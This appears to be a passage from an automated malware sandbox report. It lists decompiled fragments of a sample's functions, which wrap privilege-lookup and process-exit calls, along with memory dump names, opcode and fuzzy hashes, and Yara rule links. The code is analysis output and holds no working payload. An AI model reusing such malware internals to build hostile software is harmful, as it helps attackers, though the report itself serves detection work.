				int _t10;
				void* _t15;
				void* _t16;

				E0041A950(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46, _t16);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a1da
0x0041a1f0
0x00000000

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F192,0040F192,0000003C,00000000,?,00409D35), ref: 0041A1F0

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 2f72ad50c13f3bcf2c9af244d49b542148f264c451808f1d297bb805e18cb808
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: CDE01AB12002086BDB10DF49CC85EE737ADAF88650F018555BA0C57241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A093, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0041A093(intOrPtr _a4, int _a8) {
				void* _v117;
				void* _t17;
				void* _t18;

				asm("out 0xc6, eax");
				asm("adc eax, 0xdedc79bd");
				_push(_t20);
				E0041A950(_t17, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_a4 + 0xa14)), 0, 0x36, _t18);
				ExitProcess(_a8);
			}

0x0041a097
0x0041a09a
0x0041a0a0
0x0041a0ba
0x0041a0c8

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A0C8

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d9c01e5a3c422b94e36911743212c275044931fd0de9522d023e229b378728c8
Instruction ID: 96223a1bc6ccf3356219dfdf91af698a6a08d6865a6f0096201850352eee1577
Opcode Fuzzy Hash: d9c01e5a3c422b94e36911743212c275044931fd0de9522d023e229b378728c8
Instruction Fuzzy Hash: 75E026706002047FD720CB74CC86FDB3FA8CF5D390F148199BC4997342C630A900CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A0, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0A0(intOrPtr _a4, int _a8) {
				void* _t10;
				void* _t11;

				E0041A950(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_a4 + 0xa14)), 0, 0x36, _t11);
				ExitProcess(_a8);
			}

0x0041a0ba
0x0041a0c8

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A0C8

Memory Dump Source

Source File: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 12fe1e20a4fde289fa2c932464272cdbd0b6c77391ac3b13e7111125b87f0676
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 14D012716102147BD620DB99CC85FD7779CDF48760F018465BA5C5B241C531BA1086E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009026F8, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction ID: ed14b1b088b6351bd7e3593a3f9ffb2a34747f6f18341768518178b8f456df23
Opcode Fuzzy Hash: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction Fuzzy Hash: 47F022213284499FCB08EB2C8C59B7A33D9EF94700F54C438EE49C7281D635FD008291

Uniqueness

Uniqueness Score: -1.00%

Function 008F10D0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction ID: b97e0867cf63cce6a7bd091cca7d2f61d4937398616a74d9d7050cc2a0bd1794
Opcode Fuzzy Hash: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction Fuzzy Hash: E8B01272180540CBE3199718E906F5FB710FB90F00F00C93EA00781C50DA389D3CD446

Uniqueness

Uniqueness Score: -1.00%

Function 008F0060, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 008F01D4, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

Function 008F010C, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction ID: 6f78205b53d22ab4e8c81d7e3ead40d6172b524c4c965a7ad5e52c730ffb8076
Opcode Fuzzy Hash: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction Fuzzy Hash: B8B01273104D40C7E3099714DD16F4FB310FB90F02F00893EA00B81850DA38A92CC846

Uniqueness

Uniqueness Score: -1.00%

Function 008F1148, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction ID: 165250f8074bc0ef9cdc504fa449021ea13c8322197c03fc884fef66fc1cad38
Opcode Fuzzy Hash: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction Fuzzy Hash: 23B01272140580C7E31D9718D906B5B7610FB80F00F008D3AA04781CA1DBB89A2CE44A

Uniqueness

Uniqueness Score: -1.00%

Function 008F07AC, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 008EF8CC, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction ID: b608c8617bc096b37df9be2f0bc93e64f466faa20b7dbfb3ee59c54b4bfc8c85
Opcode Fuzzy Hash: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction Fuzzy Hash: EBB01275100540C7F304D704D905F4AB311FBD0F04F40893AE40786591D77EAD28C697

Uniqueness

Uniqueness Score: -1.00%

Function 008EF938, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction ID: d523cc507bde657408e54325c2dcaf12b60df831943b7985b4c6fe4931788f26
Opcode Fuzzy Hash: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction Fuzzy Hash: FCB0927220194087E2099B04D905B477251EBC0B01F408934A50646590DB399928D947

Uniqueness

Uniqueness Score: -1.00%

Function 008F1930, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction ID: 3aeeca65ea1aaf37b62c9893cb2d02334d47a3b29990fed3fb0e6cbc500f1d8d
Opcode Fuzzy Hash: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction Fuzzy Hash: 52B01272100940C7E34AA714DE07B8BB210FBD0F01F00893BA04B85D50D638A92CC546

Uniqueness

Uniqueness Score: -1.00%

Function 008EFAB8, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 008EFA20, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction ID: 9b5f4fb9875c6876c932e4128e9800c708acc4d40f0b969179b44b3e8b2884d0
Opcode Fuzzy Hash: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction Fuzzy Hash: 4FB01272100580C7E30D9714D90AB4B7210FB80F00F00CD3AA00781861DB78DA2CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 008EFA50, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction ID: 2cae8b11bd858d750de1a79d340ce6dfe3ec44f87311ce0e8d0be64a47f0ebf6
Opcode Fuzzy Hash: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction Fuzzy Hash: 9BB01272100544C7E349A714DA07B8B7210FB80F00F008D3BA04782851DFB89A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 008EFBE8, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction ID: 9452a8d0b0f104eb9e4922b1c8778681c83a3ee0f3d85b1ffb0a7dc5c1b1eaf2
Opcode Fuzzy Hash: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction Fuzzy Hash: 9AB01272100640C7E349A714DA0BB5B7210FB80F00F00893BE00781852DF389A2CD986

Uniqueness

Uniqueness Score: -1.00%

Function 008EFB50, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 008EFC30, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction ID: bea31e52b4947098166a5853b381437c0ce687cada8622438d1654f6fc3cd67c
Opcode Fuzzy Hash: 5d06e62ecc0ccff2d82fb33389f73f013fdf3a2f5ea46d36b3417402e9c0144c
Instruction Fuzzy Hash: B2B01272140540C7E3099714DA1AB5B7210FB80F00F008D3AE04781891DB7C9A2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 008EFC48, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction ID: ba27d4cd5f553268e31cb600e7e3d5a3e50323ff6ed211678ad30f7188510e08
Opcode Fuzzy Hash: 5f2af904bd49f46abffdb2c3bdfb425abd6ec71f3c15e3442cbf597b06952ad7
Instruction Fuzzy Hash: 39B01272100540C7E319A714D90AB5B7250FF80F00F00893AE10781861DB38992CD456

Uniqueness

Uniqueness Score: -1.00%

Function 008F0C40, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction ID: df3521920546c87a7cfa40f03b9d1cb3325e43f750a27356a7d3e25b902d3ed9
Opcode Fuzzy Hash: f629700e8a0faf16c3a99a987d81dda9b9e9a08178d0ad03aaec4005a132e95a
Instruction Fuzzy Hash: FAB01272201540C7F349A714D946F5BB210FB90F04F008A3AE04782850DA38992CC547

Uniqueness

Uniqueness Score: -1.00%

Function 008F1D80, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction ID: c40cb18f784fb740092d7f35057b9839572fe11e4001cfe90af8ac8386c88b07
Opcode Fuzzy Hash: 18add7eb1c2e7e0a1a3b96ba9e1590d2475205760e881687e9c53b2b1b4fe652
Instruction Fuzzy Hash: A6B09271508A40C7E204A704D985B46B221FB90B00F408938A04B865A0D72CA928C686

Uniqueness

Uniqueness Score: -1.00%

Function 008EFD5C, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2207128109.00000000008E0000.00000040.00000001.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000005.00000002.2207122380.00000000008D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207209479.00000000009C0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207215014.00000000009D0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207223766.00000000009D4000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207229953.00000000009D7000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207234938.00000000009E0000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2207273102.0000000000A40000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Uniqueness

Uniqueness Score: -1.00%

